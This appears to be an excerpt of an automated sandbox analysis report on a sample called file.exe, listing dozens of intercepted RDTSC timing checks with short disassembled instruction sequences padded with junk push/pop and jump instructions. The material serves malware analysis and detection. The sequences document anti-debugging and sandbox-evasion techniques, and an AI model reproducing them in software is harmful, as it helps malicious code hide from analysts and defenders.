Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 524D14 second address: 524D1F instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pushad 0x00000004 popad 0x00000005 pop edx 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 525224 second address: 52522C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5254C8 second address: 5254CC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5254CC second address: 5254D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5254D2 second address: 52552B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FFB70EEC039h 0x0000000b jnp 00007FFB70EEC03Eh 0x00000011 jmp 00007FFB70EEC036h 0x00000016 push eax 0x00000017 pop eax 0x00000018 jg 00007FFB70EEC034h 0x0000001e jmp 00007FFB70EEC02Ch 0x00000023 push ecx 0x00000024 pop ecx 0x00000025 popad 0x00000026 pushad 0x00000027 push eax 0x00000028 push edx 0x00000029 pushad 0x0000002a popad 0x0000002b push eax 0x0000002c push edx 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52552B second address: 52552F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52D108 second address: 52D10C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52D3AB second address: 52D3CC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FFB70DAD982h 0x00000009 jmp 00007FFB70DAD97Bh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52D3CC second address: 52D40C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFB70EEC033h 0x00000007 jmp 00007FFB70EEC02Eh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pushad 0x00000011 jmp 00007FFB70EEC02Fh 0x00000016 push eax 0x00000017 js 00007FFB70EEC026h 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52DD8D second address: 52DD92 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49CCF8 second address: 49CD10 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 js 00007FFB70EEC028h 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f pushad 0x00000010 jp 00007FFB70EEC026h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49CD10 second address: 49CD1D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b push edx 0x0000000c pop edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5309CE second address: 5309D2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 530B0A second address: 530B44 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop eax 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a push edx 0x0000000b pop edx 0x0000000c push esi 0x0000000d pop esi 0x0000000e popad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FFB70DAD97Fh 0x00000017 jbe 00007FFB70DAD989h 0x0000001d jmp 00007FFB70DAD983h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 530B44 second address: 530B53 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FFB70EEC02Ah 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 533E02 second address: 533E08 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 533E08 second address: 533E20 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a jnp 00007FFB70EEC02Eh 0x00000010 pushad 0x00000011 popad 0x00000012 jnc 00007FFB70EEC026h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 533E20 second address: 533E27 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5336D7 second address: 5336DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5336DD second address: 5336E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5338A1 second address: 5338AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 pushad 0x00000009 popad 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 537E87 second address: 537E8D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 538053 second address: 538059 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 538059 second address: 538060 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 538060 second address: 538066 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5381F9 second address: 538206 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jp 00007FFB70DAD976h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5384D5 second address: 53850C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jl 00007FFB70EEC038h 0x0000000e jmp 00007FFB70EEC030h 0x00000013 pushad 0x00000014 popad 0x00000015 ja 00007FFB70EEC032h 0x0000001b pushad 0x0000001c pushad 0x0000001d popad 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53850C second address: 538521 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 jp 00007FFB70DAD976h 0x0000000f jc 00007FFB70DAD976h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 538521 second address: 538525 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5387B9 second address: 5387BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5387BD second address: 5387C1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53E59F second address: 53E5A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53E5A5 second address: 53E5AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53D128 second address: 53D134 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jnc 00007FFB70DAD976h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53D134 second address: 53D138 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53D25A second address: 53D260 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53D260 second address: 53D266 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53D266 second address: 53D26B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53D26B second address: 53D299 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FFB70EEC045h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53D299 second address: 53D29D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53D29D second address: 53D2A1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53D2A1 second address: 53D2A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53D2A7 second address: 53D2B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E7007 second address: 4E7012 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jno 00007FFB70DAD976h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53D923 second address: 53D929 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53D929 second address: 53D933 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FFB70DAD97Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53D933 second address: 53D93B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53E302 second address: 53E308 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 540DB2 second address: 540DE6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 pop ecx 0x00000008 jg 00007FFB70EEC059h 0x0000000e pushad 0x0000000f pushad 0x00000010 popad 0x00000011 jmp 00007FFB70EEC039h 0x00000016 jnl 00007FFB70EEC026h 0x0000001c popad 0x0000001d pushad 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 540DE6 second address: 540DEE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54984D second address: 549851 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 549851 second address: 549855 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 549855 second address: 549874 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FFB70EEC035h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 549874 second address: 549878 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 547851 second address: 547874 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007FFB70EEC032h 0x0000000a push eax 0x0000000b push esi 0x0000000c pop esi 0x0000000d push edi 0x0000000e pop edi 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push esi 0x00000013 pop esi 0x00000014 push ebx 0x00000015 pop ebx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 547DC2 second address: 547DC8 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 548079 second address: 54807F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54807F second address: 54809D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007FFB70DAD976h 0x0000000a popad 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FFB70DAD97Dh 0x00000013 push eax 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54809D second address: 5480A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5480A2 second address: 5480B5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FFB70DAD97Ch 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 548EDC second address: 548EE2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 548EE2 second address: 548EF8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FFB70DAD97Dh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 548EF8 second address: 548F08 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007FFB70EEC026h 0x0000000a jg 00007FFB70EEC026h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 549225 second address: 54922B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54D68D second address: 54D697 instructions: 0x00000000 rdtsc 0x00000002 js 00007FFB70EEC026h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54DDDE second address: 54DDFD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FFB70DAD989h 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54DDFD second address: 54DE1A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FFB70EEC030h 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 555E06 second address: 555E25 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFB70DAD989h 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 555E25 second address: 555E29 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55BDD7 second address: 55BDDD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55BDDD second address: 55BDE5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55C239 second address: 55C23D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55C906 second address: 55C913 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 push esi 0x00000007 pop esi 0x00000008 popad 0x00000009 push esi 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c pop esi 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55D1D5 second address: 55D1DB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 569FC9 second address: 569FD3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007FFB70EEC026h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 569FD3 second address: 569FF0 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FFB70DAD976h 0x00000008 jmp 00007FFB70DAD980h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AC06E second address: 4AC073 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5714A7 second address: 5714BF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FFB70DAD984h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5714BF second address: 5714E3 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FFB70EEC026h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FFB70EEC036h 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5714E3 second address: 5714ED instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FFB70DAD976h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 572DD8 second address: 572DDC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 572DDC second address: 572DE8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 572DE8 second address: 572DEC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 572DEC second address: 572E12 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFB70DAD985h 0x00000007 jmp 00007FFB70DAD97Dh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 572E12 second address: 572E18 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 572E18 second address: 572E1C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 572C99 second address: 572CA0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop esi 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5781DF second address: 5781F7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFB70DAD97Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jp 00007FFB70DAD976h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 577DA4 second address: 577DB0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 jne 00007FFB70EEC026h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 577DB0 second address: 577DDF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FFB70DAD97Ch 0x0000000b pop edx 0x0000000c pop eax 0x0000000d pushad 0x0000000e pushad 0x0000000f push edi 0x00000010 pop edi 0x00000011 jmp 00007FFB70DAD97Ch 0x00000016 jnl 00007FFB70DAD976h 0x0000001c popad 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 577DDF second address: 577DE3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A1CCA second address: 4A1CD0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A1CD0 second address: 4A1D03 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 jmp 00007FFB70EEC034h 0x0000000b jmp 00007FFB70EEC038h 0x00000010 pop eax 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A1D03 second address: 4A1D1F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FFB70DAD983h 0x00000008 push edx 0x00000009 pop edx 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58B22D second address: 58B231 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58B231 second address: 58B23D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007FFB70DAD976h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58B23D second address: 58B242 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58B242 second address: 58B261 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FFB70DAD989h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 591B1B second address: 591B25 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007FFB70EEC026h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 591B25 second address: 591B66 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFB70DAD983h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pushad 0x0000000b pushad 0x0000000c jmp 00007FFB70DAD985h 0x00000011 push ebx 0x00000012 pop ebx 0x00000013 popad 0x00000014 pushad 0x00000015 jnl 00007FFB70DAD976h 0x0000001b jg 00007FFB70DAD976h 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 590AD5 second address: 590AEF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FFB70EEC035h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 590AEF second address: 590AF5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
